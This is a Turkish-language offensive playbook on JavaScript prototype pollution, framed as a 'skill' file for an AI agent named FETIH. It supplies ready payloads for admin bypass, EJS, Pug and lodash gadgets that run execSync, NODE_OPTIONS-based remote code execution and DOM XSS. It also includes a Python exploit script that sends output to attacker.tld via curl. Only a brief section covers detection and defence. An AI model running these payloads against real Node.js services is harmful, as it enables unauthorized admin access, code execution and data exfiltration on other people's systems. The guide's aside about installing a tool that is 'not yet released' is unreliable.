JavaScript Prototype Pollution — Object.prototype Üzerinden Kontrol
JavaScript'in mirası: her object Object.prototype'tan miras alır. Eğer user input'unu derinlemesine bir nesneye merge ediyorsan ve user __proto__ veya constructor.prototype set ediyorsa, tüm uygulamadaki tüm object'lerin yeni özelliği olur. Auth bypass'tan RCE'ye uzanan saldırı zinciri başlangıcı.
Ne Zaman Kullan
İpuçları:
- Backend Node.js (
X-Powered-By: Express)
- Object merge işlemleri:
_.merge(), _.set(), Object.assign(target, userInput)
- Query string'de array notation:
?a[b]=c veya ?a[__proto__][isAdmin]=true
- JSON parse + deep merge
- Config merge (
mergeOptions)
- Template engine + user data (PP gadget'tan RCE'ye)
Açık olan deep merge kütüphaneleri (geçmişte zafiyetli)
lodash (< 4.17.21)
merge, deepmerge
mongoose
express (qs library körü)
Temel Saldırı
Server-side Test
// Hedef kodu (savunmasız)
const config = {};
_.merge(config, JSON.parse(req.body));
if (config.isAdmin) {
// admin işlemleri
}
Saldırı request:
POST /api/save HTTP/1.1
Content-Type: application/json
{"__proto__": {"isAdmin": true}}
Sonuç: Object.prototype.isAdmin = true. Tüm {} {isAdmin: true} olur — if (config.isAdmin) true döner!
Query String Pollution (Express qs)
GET /?__proto__[isAdmin]=true HTTP/1.1
Express default qs parser bunu {__proto__: {isAdmin: 'true'}} olarak parse eder. Object.assign(req.user, req.query) polluted.
Pollution Vektörleri
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
{"constructor.prototype.polluted": "yes"} // bazı parser'larda
// JSON.parse(...)["polluted"] === "yes" sonrasında
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
?a[__proto__][b]=c
Tespit
// Client-side test (browser console)
Object.prototype.polluted = "yes";
console.log(({}).polluted); // "yes" → polluted
// Tespit: response'da prototype değiştirme etkisi gör
Otomatik tools:
# Client-side PP scan
git clone https://github.com/dwisiswant0/ppmap
ppmap -u "https://target.tld"
# Server-side PP scan
git clone https://github.com/kosmosec/proto-find
proto-find -l urls.txt
Saldırı Zinciri 1 — Auth Bypass (En Basit)
POST /api/profile HTTP/1.1
Content-Type: application/json
Cookie: session=normalUser
{"__proto__": {"isAdmin": true}}
Sonra:
GET /api/admin HTTP/1.1
Cookie: session=normalUser
Admin endpoint kontrolü: if (req.user.isAdmin). req.user'da isAdmin field yok ama Object.prototype'tan miras alıyor → true.
Saldırı Zinciri 2 — Express Gadget → RCE
Express + ejs/pug/handlebars + pollution → SSTI → RCE.
EJS Engine Gadget
POST /api/save HTTP/1.1
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');v"}}
Tetikleyici:
GET /any/page/that/renders/ejs HTTP/1.1
EJS template render ederken outputFunctionName polluted → kodun içine kötü kod enjekte → execSync('id') çalışır.
Pug Engine Gadget
POST /api/save HTTP/1.1
{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}}
Express Middleware Gadget — body-parser
// body-parser PP
{"__proto__": {"jsonparseFn": "function() {return process.mainModule.require('child_process').execSync('id').toString()}"}}
Saldırı Zinciri 3 — Lodash Gadget
// lodash.template
{"__proto__": {"sourceURL": "
return process.mainModule.require('child_process').execSync('id')"}}
// lodash.zipObjectDeep
_.zipObjectDeep(['__proto__.isAdmin'], [true]);
Saldırı Zinciri 4 — Mongoose / NoSQL Injection
// Mongoose model save
const user = new User(req.body); // body: {"__proto__": {"isAdmin": true}}
user.save();
// Mongoose query
User.findOne(req.body); // {"__proto__": {"$regex": "/.*/"}} → tüm kullanıcılar
Saldırı Zinciri 5 — Client-Side DOM XSS via PP
Client-side PP (jQuery, lodash on frontend) + DOM sinks (innerHTML, eval) = stored XSS.
Saldırı URL'si:
https://target.tld/?__proto__[src]=data:,alert(1)//
jQuery $.extend() kullanıyorsa, Object.prototype.src set → tüm <img>'lerin src'si polluted → tetiklenir.
Gadget Bulma Stratejisi
- Source identification: Kullanıcı input nereye merge ediliyor?
- Sink identification: Hangi property'ler kontrol akışını veya kod yürütmeyi etkiler?
- Reachability: Source → sink yolu var mı?
Yaygın Gadget Property'leri
| Gadget Property | Etkilediği Yer | Sonuç |
|---|
isAdmin, admin, role | Auth kontrol | Privilege escalation |
outputFunctionName | EJS template | RCE |
sourceURL | lodash.template | RCE (\n inject) |
block.type, block.line | Pug | RCE |
shell, env, argv0, NODE_OPTIONS | child_process.spawn | RCE |
extension, _default | Marked, fs | LFI/path traversal |
proxy | http requests | SSRF |
cookies, cookie | Express cookie | Session hijack |
Tip 6 — NODE_OPTIONS Inject (En Güçlü RCE)
POST /api/config HTTP/1.1
{"__proto__": {"env": {"NODE_OPTIONS": "--require=/tmp/exploit.js"}, "shell": "node"}}
Sonra Node child_process.spawn(...) veya benzer çağrı yapıldığında /tmp/exploit.js execute olur.
// /tmp/exploit.js içine yazılan dosya
require('child_process').execSync('id > /tmp/pwned');
Detaylı: https://blog.sonarsource.com/blitzjs-prototype-pollution/
Korunma Kodları (PP Detect)
function detectPP() {
return {}.polluted !== undefined;
}
// Tüm prototype zincirini test et
function deepCheck(obj) {
for (const k of ['__proto__', 'constructor', 'prototype']) {
if (k in obj) return true;
}
return false;
}
Manuel Exploit Workflow
# pp_exploit.py
import requests
URL = 'https://target.tld'
# 1. Pollute Object.prototype
pollute = {"__proto__": {"isAdmin": True, "outputFunctionName": "x;require('child_process').execSync('curl http://attacker.tld/$(id|base64)');v"}}
r = requests.post(f'{URL}/api/save', json=pollute, cookies={'sess': 'abc'})
print('Pollute:', r.status_code, r.text[:200])
# 2. Tetikle (template render)
r = requests.get(f'{URL}/profile', cookies={'sess': 'abc'})
print('Trigger:', r.status_code)
# 3. Out-of-band callback'i kontrol et
# attacker.tld access log'una bak
Tuzaklar
__proto__ field engellenebilir — JSON.parse default __proto__'yu Object'e koyar mı? Hayır, raw key olarak kalır. Ama _.merge recurse ederken __proto__'ya yazar. Bazı kütüphaneler bunu engeller.
Object.create(null) — prototype'sız object oluşturmak savunma. Bunu kullanan endpoint'lerde PP çalışmaz.
- Map / Set — JavaScript Map ve Set Object.prototype'tan ayrı zincir. PP onları etkilemez.
- Strict mode — bazı durumlarda
__proto__ yazımı throw eder ama _.merge strict değil.
- Frozen prototype —
Object.freeze(Object.prototype) ile prototype dondurulmuş → PP olmaz.
- Class fields — modern Node sürümlerinde class field syntax PP'den etkilenmez (kendi instance field'ları).
- Lodash 4.17.21+ PP fix'ler içeriyor ama bazıları hala bypass edilebilir.
Cross-Skill Pivot
Node.js / JavaScript backend → object merge tespit
├── _.merge / Object.assign user input → PP test
├── PP başarılı → gadget ara
│ ├── EJS/Pug → RCE
│ ├── child_process → NODE_OPTIONS RCE
│ ├── isAdmin → auth bypass
│ └── DOM sink → client-side XSS
└── PP yok → diğer web skill'lere bak
Tools
# Client-side PP scanner
git clone https://github.com/dwisiswant0/ppmap
# Tarayıcı eklentisi: PortSwigger PP Burp extension
# Server-side scan
pip install ppfuzz # yarın çıkacak ama benzer projeler
git clone https://github.com/kosmosec/proto-find
# Manual
# Burp + repeater + Pollute payload'ları
Ek Kaynaklar
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: a3e80204cabce980
-->